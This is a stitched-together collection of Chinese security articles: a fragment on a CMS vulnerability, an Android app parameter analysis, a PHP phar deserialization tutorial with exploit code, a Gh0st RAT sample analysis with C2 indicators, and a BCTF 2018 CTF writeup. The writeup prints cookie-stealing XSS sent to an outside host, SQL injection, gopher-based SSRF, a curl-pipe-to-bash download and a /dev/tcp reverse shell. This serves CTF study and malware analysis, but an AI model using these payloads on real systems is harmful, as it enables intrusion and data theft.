造成该漏洞的主要原因还是因为程序增加了新的功能点，并且功能点没有进行完整的安全防御，导致可以在前台直接执行sql语句，进而将可执行的标签写入数据库，在前台解析执行命令；这也提醒我们在平时挖掘漏洞的时候可以多注意一些新添加的功能，同时充分了解过往存在的漏洞，打出组合拳往往有出其不意的效果。 | 社区文章 |
# APP的整体框架
该app采用常见的第三方开源模块，即数字联盟以及开源tv.cjump.jni(弹幕)，uk.co.senab.photoview(图片缩放技术)，Timeber.log(日志)，retrofit2+okhttp3(网络请求框架)，fastjson框架，qalsdk，master.flame.danmaku，com.meituan.robust（美团热修复插件）等第三方开源代码所搭建起来的基本框架。
# 分析点
在放到夜神模拟器进行抓包，看到的数据包中均存在App-Info参数的字眼。在观察数据包的发现其可能存在对用户校验判断的数据在里面。
同时该app存在的SSL校验，在之后的测试中已经绕过。
# 参数分析
以该参数为搜索点，通过全局搜索，在AppInfoModel的class中。
最终定位到了该class下进行了重写
是通过base64进行加密
而其中的visitor_sign参数
跟踪跳转到
其中MDUtils方法，为md5加密
通过objection得到方法a的值
直接将参数进行解密会因为复杂性而无法解密得出来，对加密前的原参数进行跟踪
## Client.p()
通过运行是参数的获取
得到其方法的值为A:34f770f3177f0146
## Client.o()
通过运行是参数的获取
得到其方法的值为34f770f3177f0146
# 验证
由a2可以得到在加密前的值为visiter=A:34f770f3177f0146&y-device=34f770f3177f0146经过在线的md5进行加密之后 | 社区文章 |
# 概要
来自Secarma的安全研究员Sam
Thomas发现了一种新的漏洞利用方式，可以在不使用php函数unserialize()的前提下，引起严重的php对象注入漏洞。
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上，演讲主题为：”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。
# 关于流包装
大多数PHP文件操作允许使用各种URL协议去访问文件路径：如`data://`，`zlib://`或`php://`。
例如常见的
include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');
`phar://`也是流包装的一种
# phar原理
## a stub
可以理解为一个标志，格式为`xxx<?php
xxx;__HALT_COMPILER();?>`，前面内容不限，但必须以`__HALT_COMPILER();?>`来结尾，否则phar扩展将无法识别这个文件为phar文件。
## 官方手册
phar的本质是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data，这是上述攻击手法最核心的地方。
# demo
根据文件结构我们来自己构建一个phar文件，php内置了一个Phar类来处理相关操作
**注意：要将php.ini中的phar.readonly选项设置为Off，否则无法生成phar文件。**
phar.php:
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
访问后,会生成一个phar.phar在当前目录下。
用winhex打开
可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作，php一大部分的文件系统函数在通过`phar://`伪协议解析phar文件时，都会将meta-data进行反序列化，测试后受影响的函数如下：
phar_fan.php
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>
输出
# 将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到，php识别phar文件是通过其文件头的stub，更确切一点来说是__HALT_COMPILER();?>这段代码，对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php
class TestObject {
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub，增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'hu3sky';
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>
采用这种方法可以绕过很大一部分上传检测。
# 利用条件
## phar文件要能够上传到服务器端。
如`file_exists()`，`fopen()`，`file_get_contents()`，`file()`等文件操作的函数
## 要有可用的魔术方法作为“跳板”。
## 文件操作函数的参数可控，且`:`、`/`、`phar`等特殊字符没有被过滤。
# 漏洞验证
## 环境准备
`upload_file.php`，后端检测文件上传，文件类型是否为gif，文件后缀名是否为gif
`upload_file.html` 文件上传表单
`file_un.php` 存在`file_exists()`，并且存在`__destruct()`
## 文件内容
`upload_file.php`
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
`upload_file.html`
<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
`file_un.php`
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
## 实现过程
首先是根据file_un.php写一个生成phar的php文件，当然需要绕过gif，所以需要加GIF89a，然后我们访问这个php文件后，生成了phar.phar，修改后缀为gif，上传到服务器，然后利用file_exists，使用`phar://`执行代码
## 构造代码
`eval.php`
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
访问eval.php，会在当前目录生成phar.phar，然后修改后缀 gif
接着上传,文件会上传到upload_file目录下
然后利用file_un.php。
payload:filename=phar://upload_file/phar.gif
# 参考文章
<https://paper.seebug.org/680/> 【利用 phar 拓展 php 反序列化漏洞攻击面】
<https://blog.ripstech.com/2018/new-php-exploitation-technique/> | 社区文章 |
# 针对一个远控木马Gh0st RAT样本的初始化分析
##### 译文声明
本文是翻译文章，文章来源：0ffset.wordpress.com
原文地址：<https://0ffset.wordpress.com/2018/06/26/post-0x11-analysis-of-a-gh0st/>
译文仅供参考，具体内容表达以及含义原文为准。
最近，我看了一下上传到[VirusBay](https://beta.virusbay.io/)的样本，并发现了一些很特别的东西。一个名叫Bondey的用户上传了一个样本，并将其标记为Gh0st
RAT。Gh0st
RAT是一个已经被使用了很长时间的远程访问工具，并且有众多变种和变化。但是，到目前为止，这个RAT似乎已经消失了有一段时间。目前，使用Gh0st以获取远程访问的主要群体是“铁虎（Iron
Tiger）”，一个被认为来自中国的APT组织。相关资料显示，该组织目前正瞄准[亚洲和美国的政府、技术、教育和电信组织](https://securityaffairs.co/wordpress/68581/apt/operation-pzchao.html)。我一直很喜欢查看APT组织使用的恶意软件，所以我下载了这个样本来分析它。
MD5：abdabfea475959703fb1957413b39cad
在执行通常的分析方法之前，我检查了VirusTotal上的散列。出乎我的意料的是，什么也没有出现。我上传了这个文件，并且意识到我是第一个将它上传到VT的人。我刚刚检查了一下，
THOR APT Scanner对样本进行了评论，澄清它是Gh0st的一个变种 ，特别是s.exe被Iron Tiger使用。
我目前正在开发一个项目，下载新的样本并对它们进行基本的动态分析，以便初学者能够选择他们想要分析的恶意软件类型。对于这个RAT，我使用了这个项目的动态分析部分来分析它，得到了一个缩小的字符串列表：由于这是一项正在进行的工作，所以并不是所有的东西都能够被提取出来，不过它还是提出了一些有趣的字符串。似乎有一个存储在dllcache
和
system32文件夹中termsrvhack.dll的引用——也许这是一个stager组件，它将一个DLL放入到磁盘中？你可能还会注意到底部的熵，在之后它将被用于推测样本是否经过了打包/混淆。在这个案例中，它似乎并没有这样做，而且你会看到为什么当我用字符串来表示它以获得完整的输出：你可以将这些字符串看作键盘上的按键，这是完全正确的。这些字符串暗示了RAT中的键盘记录功能。这也就提出了这样一个问题：既然一个高级持续威胁（APT）组织选择它来作为他们的恶意软件，为什么他们甚至不尝试打包或混淆它？字符串不仅返回了一个键列表，还返回了嵌入在可执行文件中的URL：
[hxxp://user.qzone.qq.com/](hxxp://user.qzone.qq.com/)
这个URL指向的似乎是一个中国的社交媒体网站，但这并不能帮助我理解它为什么包含在EXE中。现在我们已经分析了字符串，是时候把它放入PEStudio中来收集有关于文件本身的信息了。
在检查资源部分时，我发现多个资源被存储在文件中，但其中一个资源被提取了出来——一个具有HTML签名的资源。我把它放到磁盘上，想看看资源里面有什么。然而，这里并没有什么有价值的证据，似乎是一些加密的文本和一个数字——
360。接下来，我审查了导入，看看能否更好地了解这个样本的功能。在分析时，我并没有能够完全确定它可以做什么。该样本使用序号（与API名称对应的数值）以及API名称导入函数。幸运的是，PEStudio能够解决大部分序号导入，揭示了正确的名称。因此，我们可以看到样本从Winsock库导入了多个函数，这意味着该程序正在建立与某处连接或从某处接收连接的可能性很高。
查看导入的DLL，你可以看到一个msvfw32.dll被导入。看起来这个DLL为可执行文件提供了视频功能，所以这个样本是否能够对受害者的计算机进行屏幕录制呢？
所以现在我们已经完成了基本的可执行分析，是时候将它放入IDA中以反汇编可执行文件并了解它是如何运行的了。我再次检查了二进制文件中的字符串列表，以查看是否在原始列表中漏掉了什么。然后，我发现了一个看起来像是Visual
Basic 脚本文件名的内容：
Jingtisanmenxiachuanxiao.vbs
就我所知，这个文件名没有上下文，所以也许它是一个将会被下载到系统的文件？继续前进，我决定查看TCP连接例程，因此我搜索了用于连接的交叉引用。三种不同的结果出现了，可能暗示了三种不同的C2服务器连接。
我还注意到一个有趣的字符串存储在偏移量aProgramFilesRu被推送（push）到堆栈。该变量包含文件路径“\ProgramFiles\Ru%d.EXE”。这可能是恶意软件下一阶段的放置位置，或恶意软件将要被复制到的目录。我花了一点时间来查看拆解后的样本，但没有发现任何非常有用的东西，于是我启用了x32dbg，并用它打开了样本。
通过使用x32dbg，我能够找到可执行文件的“main”函数，其中有趣的部分正在发生，而不仅仅是初始化。进入主函数后，我立即注意到程序是如何导入库和API调用的。并不是运行LoadLibrary（“Kernel32.dll”），而是初始化一个字母数组，并将其传递给LoadLibrary调用，在反汇编后看起来像下面这样：
在将调用传递给LoadLibrary之后，我发现了一个有趣的循环。这个循环清除了内存中的一个区域，并填充了一些无意义的字符串，比如Ruiswe
wgzawios。这些字符串在某些时候看起来很重要，所以我需要记住它们。你还可以看到％SystemRoot％也被存储。该循环再一次运行，但是它清除了一个不同的内存区域，并将一个IP地址写入该内存区域——218.60.67.75。但是，在写入IP地址之后，循环不会结束。它会继续进行并向该区域写入一个URL——<http://xxx.ys168.com>。我试着在网上搜索，但是我什么也没有得到。
然后，该程序会使用sprintf来形成可执行文件将要被复制到的路径：
C:\Windows\Kbwgmwu.exe
这个文件名被硬编码到可执行文件中，所以每次都会有相同的名称。为了形成将传递给sprintf的字符串，需要遵循用于导入DLL的相同例程。%s\%s首先以数组的形式写入内存，然后作为字符串传递，其中％s仅仅是字符串的占位符。第一个％s包含C:\Windows，第二个％s包含Kbwgmwu.exe。一旦调用sprintf，最终的路径就形成了——C:\Windows\Kbwgmwu.exe。
继续往下走，另一个字符串被作为数组写入到程序内存中——这次是一个注册表键值：
SYSTEM\CurrentControlSet\Services\%s
再一次，首先将它写成一个数组，然后推送到堆栈进行格式化。在使用注册表之前，会形成另一个字符串——rundll32.exe。该字符串被传递给一个函数，该函数将导入并调用另外三个函数：
l GetToolhelp32Snapshot
l Process32First
l Process32Next
也许你并不知道这些函数的用途，第一个函数将获取当前正在运行的进程的列表，第二个函数将获取列表中的第一个进程的句柄，最后一个函数用于遍历列表。对于每个正在运行的进程，程序调用strcmpi，将进程名称与传递的参数（rundll32.exe）进行比较。如果找到了rundll32.exe，该函数将返回，然后使用导入的API调用WinExec执行taskkill
/f /im
rundll32.exe。如果rundll32.exe没有运行，该函数将返回并继续执行，而不执行taskkill。我仍然不能够完全确定程序为什么要检查rundll，除非它正在检查以前版本的Gh0stRat，因为它们是DLL格式的。
一旦它检查了RunDLL32.exe，该程序将导入注册表函数，以便可以创建and/or查询键值。还记得我之前提到的Reg键值？%s被格式化为读取Ruiswe
wgzawios，所以完整的Reg键值是：
SYSTEM\CurrentControlSet\Services\Ruiswe wgzawios
程序检查键值是否存在，如果不存在，则关闭键值的句柄。再一次，RegCloseKey作为数组导入并调用，所以你可以在调试器中看到以下结果：
一旦注册表被查询，恶意软件就会使用GetModuleFileName找到自己的可执行文件名，并将结果与硬编码的文件路径C:\Windows\Kbwgmwu.exe进行比较。如果名称不匹配，则开始“安装（installation）”例程。否则，程序似乎会继续其常规执行。如果文件名不同，恶意软件会使用我们在调试器中找到的注册表键值创建另一个注册表键值：
SYSTEM\CurrentControlSet\Services\Ruiswe wgzawios
这是文件必须作为admin运行的第一个迹象，因为它试图创建一个需要管理员权限的HKLM注册表值。有趣的是，对于一个“高级（Advanced）”恶意软件，当它访问注册表键值失败时，我没有看到错误处理，但我仍选择继续以防万一它改变了当前用户注册表。无论是否添加了注册表键值，恶意软件都会将其自身复制到Windows目录下，名称为
Kbwgmwu.exe。为此，CopyFile将被导入并执行。再一次，当程序以常规用户的身份运行时，它将失败，并且不会尝试处理错误。
一旦文件被“复制（copied）”，恶意软件就会导入
ShellExecute。然后，恶意软件会得到一个正在运行的进程列表（与RunDLL循环一样），并循环遍历它，将每个值与Kbwgmwu.exe进行比较。如果没有匹配，则调用ShellExecute，执行Windows目录中的文件
Kbwgmwu.exe。一旦文件被“执行（executed）”，恶意软件将循环回到进程搜索函数，以检查
Kbwgmwu.exe是否真的在运行。由于Kbwgmwu.exe不存在（因为恶意软件没有提升权限），ShellExecute会失败。这个循环运行了4次，然后退出，这似乎是到目前为止唯一的错误处理形式。
当恶意软件退出（并且原始文件被删除）时，我运行了它的另一个实例来查看是否有任何文件名或注册表键值发生了更改。只有两个值改变了，但它们似乎并不重要。现在是时候以管理员身份调试这个样本了，看看恶意软件究竟能做些什么。
我跳过了一些区段，直到我到达添加了注册表项的那一部分，然后检查注册表。果然，新创建的键值就在那里。
注册表也被硬编码到二进制文件中，因为它对样本非常重要，用以检查以前的样本。在创建键值后，将一个值添加到它—— Releice
Name，并且所设置的数据似乎是随机的。在本案例中，数据读取Uuzvmm ceypla。这显得非常神秘。
我注意到这个注册表创建函数运行了好几次，所以我在每次调用它时都放了一个断点，并最终找到了一个新的注册表键值——Uuzvmm
ceypla。这个键值内部设置了一个值，表示为 ConnectGroup。这个值的数据更加神秘——
ĬÉÏÖÖ×é。接下来，程序在键值中创建另一个值，称为MarkTime。写入此值的数据是当前时间，这可能是恶意软件用来查看它存活了多长时间的指标。 一旦
MarkTime被写入注册表，主注册表函数就会退出，并调用CopyFile，这次是成功的。
现在文件已被成功复制，恶意软件使用OpenSCManager打开服务管理器
。这也体现了需要管理员权限——必须是admin才能打开服务管理器。然后使用CreateService创建一个服务 ，其名称为 Uuzvmm
ceypla，与注册表项名称相同，被赋予随机生成的描述。该服务被设置为自动启动，并链接到Windows目录中的可执行文件Kbwgmwu。然后，恶意软件将调用
StartService 以执行 Kbwgmwu.exe。
然后，对服务的描述进行编辑，以显示一个更长的随机字符串。我并不能够完全确定它为什么这样做，但它无论如何都会这样做。在描述更改后，我检查了注册表键值，它包含了更多的值：
在调试阶段，我没有连接网络，所以很有趣的是看到这个样本正在通过UDP进行监听。我相信这可能是一个错误，因为我没有看到任何WSAStartup或监听被调用。
现在我已经看到了它以管理员身份运行，是时候弄清楚如果我运行了恶意软件，就好像它刚安装一样会发生什么。我将虚拟机重新启动到一个干净的状态，并运行原始恶意软件，以便它能够将其自身植入系统。一旦Kbwgmwu.exe被执行，我将一个调试器附加到它并重新启动恶意软件。这一次，当恶意软件检查了文件名称后，它将继续沿着下图中右边的路径前行，而不是左边的。
我遇到了字符串Cao360被作为CreateEvent的一个参数推送
，于是我决定赶紧通过谷歌搜索来看看发生了什么。首先出现的一个结果是一个趋势科技关于TROJ_BEAUGRIT介绍页面的链接。我没有看到任何关于木马本身的分析，但是我所看到的信息似乎与我的分析结果相关。同时，我也没有足够多的关于Gh0stRat的信息来证明这个样本不是
Gh0stRat，所以我决定暂时忽略它。
在注意到Cao360后不久，我发现了三个非常有用的字符串——
IP地址、URL和“123456789”，被移入一个内存地址中。之所以说它们有用，是因为它们表明连接将很快启动，恶意软件也将很快连接到攻击者C2服务器。果然，在继续执行程序之后，WSAStartup被调用了。为了使用Winsock来创建网络连接，必须调用WSAStartup
来初始化库。再往下，恶意软件将调用connect，为的是连接到我们在样本中看到的IP地址。当我断掉网络连接时，恶意软件试图连接回来，它失败了。我重新连线，启动了Wireshark，并运行connect函数。恶意软件通过端口8000建立了与C2服务器的连接。我在网上搜索了这个URL，并在滥用IP的网站上发现了几个hit，尤其是[这个](https://www.abuseipdb.com/check/218.60.67.75)。它位于中国，根据滥用报告，最近似乎相当活跃，端口扫描并暴力破解不同的服务。基于中国已经禁止了VPN民用的事实，这个IP地址很可能表明了攻击者的真实地址，但也可能是利用被攻陷的主机作为代理，这一切都取决于技能水平。
一旦成功建立了连接，恶意软件将使用beginthreadex创建一个新线程，并在该线程中继续执行。
## 总结
l 该程序被执行
l 表单3用于文件名、注册表键值等的随机字符串
l 将URL和IP地址写入程序内存，以备后用
l 在正在运行的进程列表中检查RunDLL32.exe
l 如果它正在运行，执行taskkill来停止它的运行
l 否则，继续
l 形成完整的注册表键值SYSTEM\CurrentControlSet\Services\Ruiswe wgzawios
l 检查键值是否存在
l 如果该键值不存在，则关闭句柄
l 恶意软件会将其当前名称重新命名，并将其与%Windows%\Kbwgmwu.exe路径进行比较
l 如果字符串匹配，则开始“安装（installation）”例程
l 恶意软件创建注册表键值SYSTEM\CurrentControlSet\Services\Ruiswe wgzawios
l 值“Releice Name”被写入注册表键值，数据是随机的
l 随机数据之后将用于在SYSTEM\CurrentControlSet\Services\%s上创建另一个键值
l 值“ConnectGroup”被写入注册表键值，数据为“ÄÉÉSÉ·Ö×é”
l 值“MarkTime”被写入到注册表键值，数据是当前的数据和时间
l 值“Description”被写入到注册表键值，数据是三个随机单词
l 值“DisplayName”被写入到注册表键值，数据是随机的
l 恶意软件将最后部分写入注册键值，然后继续
l 调用CopyFile，恶意软件将自身复制到C:\Windows\Kbwgmwu.exe
l 管理员权限：
l 恶意软件在开始时使用随机数据创建服务
l 此服务设置为自动启动并执行C:\Windows\Kbwgmwu.exe
l 然后调用StartService，执行新创建的服务。
l 用户权限：
l 恶意软件会检查Kbwgmwu.exe的运行实例
l 如果没有找到，则使用ShellExecute 执行C:\Windows\Kbwgmwu.exe
l 这个过程会循环4次，然后调用ExitProcess
l 如果字符串匹配，并且原始注册表键值存在，程序则将继续执行
l 调用WSAStartup，初始化WinSock
l 恶意软件使用connect调用连接到C2 IP地址
l 调用BeginThreadEx，创建第二个线程以恢复程序的执行
## IOCs
MD5：abdabfea475959703fb1957413b39cad
C2服务器：218.60.67.75
URL：[http://xxx.ys168.com](http://xxx.ys168.com)
文件路径：C:\Windows\Kbwgmwu.exe
注册表键值：SYSTEM\CurrentControlSet\Services\Ruiswe wgzawios
审核人：yiwang 编辑：边边 | 社区文章 |
大家好，我们 r3kapig 的小伙伴在这周玩了 BCTF 2018. 以下是我们的解题 Writeup ，请各位大佬指教。
# BCTF 2018 online Writeup
## Web
### SEAFARING1
login处有个XSS，不过需要验证码，然后扫了一下站，发现robots.txt，里面有一个/admin/handle_message.php，进去提示：
{"result":"","error":"CSRFToken ''is not correct"}
注意到这里有个''，猜测传入的csrftoken可能直接输出到了页面中，于是尝试传入csrftoken，分别用GET、POST都试了，然后试出当参数名为token，请求为POST的时候会显示出token值，不过对'/'会进行转义，因此使用svg进行xss，为了避免引号的问题，使用了base64编码，打管理员cookie的XSS
payload如下：
<form method="post" action="http://seafaring.xctf.org.cn:9999/admin/handle_message.php">
<input name="token" value="<svg onload=document.write(atob('PHNjcmlwdD4KbG9jYXRpb249Imh0dHA6Ly96em0uY2F0OjgwODAvP2M9Iitlc2NhcGUoZG9jdW1lbnQuY29va2llKTsKPC9zY3JpcHQ+'))>">
</form>
<script>
document.forms[0].submit();
</script>
其中base64的内容为：
<script>
location="http://zzm.cat:8080/?c="+escape(document.cookie);
</script>
把payload写在自己的VPS的1.html上，然后在contact.php向管理员发送地址<http://zzm.cat/1.html即可，打到cookie后进入http://seafaring.xctf.org.cn:9999/admin/，前端源码发现了一些api调用，可以获取admin接收到的消息>
function view_unreads() {
$.ajax({
type: "POST",
url: "/admin/handle_message.php",
data: {"token": csrf_token, "action": "view_unreads", "status": 0},
dataType: "json",
success: function (data) {
if (!data["error"]) {
data = data['result'];
var html = '';
var tbody = document.getElementById("comments");
for (var i = 0; i < data.length; i++) {
var Time = data[i][0];
var Username = data[i][1];
var Uid = data[i][2];
var Status = '';
if (parseInt(data[i][3]) == 1) {
Status = '<div style="color:#04FF00">Checked</div>';
} else {
Status = '<div style="color:#FFA500">Not Checked</div>';
}
html += "<tr> <td > <center> " + Time + " </center></td> <td> <center> " + Username + " </center></td> <td> <center> <a onclick = view_uid('" + Uid + "') > " + Uid + " </a></center> </td> <td> <center> " + Status + " </center></td> </tr>"
}
tbody.innerHTML = html;
}
else
alert('Error: ' + data["error"]);
}
});
}
尝试自己构造请求，不过提示要本地访问才行，因此需要XSS，让本地的admin去获取消息。流程就是先获取csrftoken，然后发送post请求到/admin/handle_message.php。这里我尝试的时候，少发了个status参数，结果发现响应中报了一个sql查询的错误，并且把查询语句显示出来了，因此感觉status可以注入，各种查表发现f111111ag表，最终打到flag，exp和flag截图如下：
<form method="post" action="http://seafaring.xctf.org.cn:9999/admin/handle_message.php">
<input name="token" value="<svg onload=document.write(atob('PHNjcmlwdD4KdmFyIGFhID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CmFhLm9wZW4oJ0dFVCcsICdodHRwOi8vc2VhZmFyaW5nLnhjdGYub3JnLmNuOjk5OTkvY29udGFjdC5waHAnLCBmYWxzZSk7CmFhLnNlbmQoKTsKYmIgPSBhYS5yZXNwb25zZVRleHQ7CnRva2VuID0gYmIubWF0Y2goL2NzcmZfdG9rZW4gPSAiKFx3KykiLylbMV07Cgp2YXIgYSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwphLm9wZW4oJ1BPU1QnLCAnaHR0cDovL3NlYWZhcmluZy54Y3RmLm9yZy5jbjo5OTk5L2FkbWluL2hhbmRsZV9tZXNzYWdlLnBocCcsIGZhbHNlKTsKYS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKYS5zZW5kKCJ0b2tlbj0iK3Rva2VuKyImYWN0aW9uPXZpZXdfdW5yZWFkcyZzdGF0dXM9LTEgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCAqIGZyb20gZjExMTExMWFnKSwzLDQjIik7CmIgPSBhLnJlc3BvbnNlVGV4dDsKbG9jYXRpb24uaHJlZiA9ICdodHRwOi8venptLmNhdDo4MDgwLzQwNC5waHA/dG9rZW49Jyt0b2tlbisnJmNvbnRlbnQ9JyArIGVzY2FwZShiKTsKPC9zY3JpcHQ+'))>">
</form>
<script>
document.forms[0].submit();
</script>
<!-- base64内容如下：
<script>
var aa = new XMLHttpRequest();
aa.open('GET', 'http://seafaring.xctf.org.cn:9999/contact.php', false);
aa.send();
bb = aa.responseText;
token = bb.match(/csrf_token = "(\w+)"/)[1];
var a = new XMLHttpRequest();
a.open('POST', 'http://seafaring.xctf.org.cn:9999/admin/handle_message.php', false);
a.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
a.send("token="+token+"&action=view_unreads&status=-1 union select 1,(select * from f111111ag),3,4#");
b = a.responseText;
location.href = 'http://zzm.cat:8080/404.php?token='+token+'&content=' + escape(b);
</script> -->
> bctf{XsS_SQL1_7438x_2xfccmk}
### SEAFARING2
进admin后有个提示：
> Hint: I will tell you a secret path for web2:/admin/m0st_Secret.php! :)
不过访问没啥东西，于是使用sql注入读取这个文件，就在默认目录/var/www/html/admin/m0st_Secret.php，有个ssrf，参数是You_cann0t_guu3s_1t_1s2xs，翻了一下/etc/hosts，得到内网地址是172.20.0.3，感觉要内网搞，用dict协议扫了一下，发现172.20.0.2的4444端口开着,搜了一下相关服务，结合访问主页显示的selemium，应该是selenium
grid服务，搜了一下有篇文章（ <http://www.polaris-lab.com/index.php/archives/454/>
），未授权访问可以读文件。不过需要一个可用的session，题目环境中的都不能用，需要新建一个，查了一下相关Api（
<https://github.com/SeleniumHQ/selenium/wiki/JsonWireProtocol>
），然后shodan上面搜了个有洞的站测试抓包，就可以用gopher协议构造出创建session、访问指定url、截屏的请求包了。
# 新建session
curl -d You_cann0t_guu3s_1t_1s2xs="gopher%3A//127.0.0.1%3A4444/_POST%2520/wd/hub/session%2520HTTP/1.1%250aHost%3A127.0.0.1%3A4444%250aAccept%3A*/*%250aContent-Length%3A49%250aContent-Type%3Aapplication/json;charset=utf-8%250a%250a{%22desiredCapabilities%22:{%22browserName%22:%22firefox%22}}00000000000" http://127.0.0.1:8080
# 请求指定url
curl -d You_cann0t_guu3s_1t_1s2xs="gopher://172.20.0.2:4444/_POST%2520/wd/hub/session/1e23de5c-6e5e-428b-9714-fa71b9ff8f06/url%2520HTTP/1.1%250aHost%3A172.20.0.2%3A4444%250aAccept%3A*/*%250aContent-Length%3A119%250aContent-Type%3Aapplication/json;charset=utf-8%250a%250a%7B%22url%22%3A%22file%3A///etc/passwd%253Fwdsid%3D1e23de5c-6e5e-428b-9714-fa71b9ff8f06%26wdurl%3Dhttp%253A%252F%252F172.20.0.2%253A4444%252Fwd%252Fhub%22%7D00000000000" http://seafaring.xctf.org.cn:9999/admin/m0st_Secret.php
由于这个服务器的server有问题，正常发包会卡死，瞎比试后发现后面多添一堆0就不会卡死了。截屏的话只要访问/wd/hub/session/:sessionId/screenshot就可以了，返回的是json格式的串，里面有图片的base64编码。解析出来存入png即可得到截图。
列目录的截图：
读flag的截图：
### babyweb
进去之后功能很少，search的时候有个sort参数，多次尝试，有迷之过滤，但是发现sort=current_database()的时候结果正常，然后sort=abc()的时候404，猜测是Postgresql，于是进一步使用其它函数进行测试，发现sort=pg_ls_dir('/proc')的时候会返回很多结果，sort=pg_ls_dir('/proca')这样就404了，因此可以配合concat和substring进行盲注，例如sort=pg_ls_dir(concat('/proc',substring('a',1,ascii(substring('a',1,1))-97)))这样会返回结果，但是97换成别的就会404，注出密码的payload如下：
import requests
dic = list("abcdefghijklmnopqrstuvwxyz0123456789_!;~.")
ans = ''
for pos in range(1,50):
for c in dic:
c = ord(c)
data = {'search':'admin','sort':"pg_ls_dir(concat('/proc',substring('a',1,ascii(substring(password,%d,1))-%d))),id" % (pos,c)}
#print(data)
resp = requests.post("http://47.95.235.14:9999/search",data=data).text
if len(resp)>10000:
ans += chr(c)
print(ans)
break
上cmd5解码，得到密码15676543456
登进去发现有个RESTFULAPI接口，结合控制台提示restful api provided by
fastjson.，猜测是fastjson的漏洞，网上找了exp打了就行了，不过Runtime.getRuntime().exec()有的符号不能用（例如|和>），找了个在线转化payload的网站。具体执行的命令为
curl zzm.cat:8080/1.txt|bash
其中1.txt为：
/bin/bash -i > /dev/tcp/45.78.39.29/7777 0<&1 2>&1
转化后为
bash -c {echo,Y3VybCB6em0uY2F0OjgwODAvMS50eHR8YmFzaA==}|{base64,-d}|{bash,-i}
然后编译下面的java文件，然后将class文件base64编码
最后构造json请求并发送即可反弹shell
在根目录下找到flag：
### SimpleVN
有个pug模板注入不过只能字母数字和点，但是process对象的东西都能读，然后读源码发现有个process.env.FLAGFILENAME，可以直接用process.env.FLAGFILENAME读取，读到flag位置为5E192BCA-1C3F-4CE8-933C-D8B880D72EAD.txt，从源码可知读取这个文件需要本地才行，于是发请求给bot截屏：
提示flag在底部，显示不出来，因此需要一个XSS截取5E192BCA-1C3F-4CE8-933C-D8B880D72EAD.txt底部的内容，并且截屏。
在提交url截屏的时候有个host的过滤，不过可以用data协议进行绕过，使得host为空串，includes为真，并且可以直接插入标签进行XSS，payload如下：
data:text/html,<iframe style='position:absolute;left:0;top:-1500px;background:white;' width=100% height=10000 src=http://47.95.221.26:23333/5E192BCA-1C3F-4CE8-933C-D8B880D72EAD.txt></iframe>
最后获取flag截屏：
### checkin
思路就是CVE-2018-18925的思路，session存在文件中且sessionid没有对`../`做过滤，导致可以在头像上传处上传伪造的session文件，再用sessionid包含即可伪造身份为admin。扫目录可以扫到`/admin_panel`，session伪造成admin之后访问这个页面即可的得到flag。session文件生成的exp（直接改的CVE-2018-18925的exp）:
package main
import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"io/ioutil"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func main() {
var uid int64 = 1
obj := map[interface{}]interface{}{"username": "admin", "UID": uid}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
err = ioutil.WriteFile("test2.png", data, 0777)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}
### babySQLiSPA
